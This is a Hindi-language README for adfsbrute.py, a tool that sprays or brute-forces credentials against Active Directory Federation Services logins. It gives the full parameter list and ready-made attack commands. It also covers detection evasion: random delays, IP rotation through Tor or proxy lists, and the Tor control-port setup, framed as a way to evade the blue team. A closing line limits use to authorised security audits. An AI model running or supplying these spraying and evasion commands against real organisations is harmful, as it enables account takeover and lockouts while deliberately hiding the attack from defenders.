
एक स्क्रिप्ट जो Active Directory Federation Services (ADFS) के खिलाफ क्रेडेंशियल्स का परीक्षण करती है, जिससे पासवर्ड स्प्रेइंग या ब्रूटफोर्स हमले की अनुमति मिलती है।
एक स्क्रिप्ट जो सक्रिय निर्देशिका संघीय सेवाओं (ADFS) के विरुद्ध क्रेडेंशियल का परीक्षण करने, किसी संगठन के ADFS url की गणना करने और पासवर्ड स्प्रेइंग या ब्रूटफोर्स हमलों की अनुमति देने के लिए है।
मुख्य विचार यह है कि प्रत्येक परीक्षण के बीच यादृच्छिक और उच्च विलंब के साथ पासवर्ड स्प्रेइंग हमले किए जाएं और ब्लू टीम द्वारा पहचान को और कठिन बनाने के लिए प्रॉक्सी या Tor की सूची का उपयोग किया जाए। ब्रूटफोर्स हमले भी संभव हैं, या उपयोगकर्ता नाम:पासवर्ड प्रारूप में क्रेडेंशियल का परीक्षण (उदाहरण के लिए Pwndb से)। परीक्षण किए गए लॉगिन को दोबारा परीक्षण से बचने के लिए एक लॉग फ़ाइल में संग्रहीत किया जाएगा।
./adfsbrute.py -t TARGET [-u USER] [-U USER_LIST] [-p PASSWORD] [-P PASSWORD_LIST] [-UL userpassword_list]
[-m MIN_TIME] [-M MAX_TIME] [-tp TOR_PASSWORD] [-pl PROXY_LIST] [-n NUMBER_OF_REQUESTS_PER_IP]
[-s STOP_ON_SUCCESS] [-r RANDOM_COMBINATIONS] [-d DEBUG] [-l LOG_FILE]
हमलों के लिए पैरामीटर हैं:
* -t: लक्ष्य डोमेन। उदाहरण: test.com
* -u: एकल उपयोगकर्ता नाम। उदाहरण: [email protected]
* -U: उपयोगकर्ता नामों की सूची वाली फ़ाइल। उदाहरण: users.txt
* -p: एकल पासवर्ड: उदाहरण: Company123
* -P: पासवर्डों की सूची वाली फ़ाइल। उदाहरण: passwords.txt
* -UP: "username:password" प्रारूप में क्रेडेंशियल की सूची वाली फ़ाइल। उदाहरण: userpass.txt
* -m : प्रत्येक परीक्षण के बीच प्रतीक्षा करने के लिए यादृच्छिक सेकंड का न्यूनतम मान। डिफ़ॉल्ट: 30
* -M : प्रत्येक परीक्षण के बीच प्रतीक्षा करने के लिए यादृच्छिक सेकंड का अधिकतम मान। डिफ़ॉल्ट: 60
* -tp: Tor पासवर्ड (Tor का उपयोग करके IP पते बदलें)
* -pl: एक प्रॉक्सी सूची का उपयोग करें (प्रॉक्सी IP की सूची का उपयोग करके IP पते बदलें)
* -n: IP पता बदलने से पहले अनुरोधों की संख्या (-tp या -pl के साथ उपयोग किया जाता है)। डिफ़ॉल्ट: 1
* -s: सफलता पर रुकें, जब एक सही क्रेडेंशियल मिल जाए। डिफ़ॉल्ट: False
* -r: उपयोगकर्ताओं और पासवर्डों के संयोजन को यादृच्छिक करें। डिफ़ॉल्ट: True
* -d: डीबग संदेश दिखाएँ। डिफ़ॉल्ट: True
* -l: पहले से परीक्षण किए गए क्रेडेंशियल वाली लॉग फ़ाइल का स्थान। डिफ़ॉल्ट: tested.txt
पासवर्ड "Company123" के साथ पासवर्ड स्प्रेइंग, Tor पासवर्ड "test123" है और प्रत्येक 3 अनुरोधों पर IP बदल रहा है:
python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -n 3
पासवर्ड "Company123" के साथ पासवर्ड स्प्रेइंग, Tor पासवर्ड "test123" है, प्रत्येक अनुरोध के लिए IP बदल रहा है, 10 से 20 सेकंड के बीच यादृच्छिक विलंब समय और उपयोगकर्ताओं के क्रम को यादृच्छिक न करें:
python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -m 10 -M 20 -r False
ADFS url ढूँढना:
python3 adfsbrute.py -t company.com
प्रत्येक अनुरोध के लिए IP बदलने के लिए Tor का उपयोग करने के लिए, आपको एक पासवर्ड हैश करना होगा:
tor --hash-password test123
फ़ाइल /etc/tor/torrc में, वेरिएबल ControlPort और वेरिएबल HashedControlPassword को अनकमेंट करें, और इस अंतिम वाले में हैश जोड़ें:
ControlPort 9051
HashedControlPassword 16:7F314CAB402A81F860B3EE449B743AEC0DED9F27FA41831737E2F08F87
Tor सेवा को पुनरारंभ करें और इस पासवर्ड को स्क्रिप्ट के लिए तर्क के रूप में उपयोग करें ("-tp test123" या "--tor_password 123")
service tor restart
यह स्क्रिप्ट सुरक्षा ऑडिट में परीक्षण के लिए लागू की गई है, ADFS के मालिक कंपनी से उचित प्राधिकरण के बिना इसका उपयोग न करें अन्यथा आप खातों को ब्लॉक कर देंगे।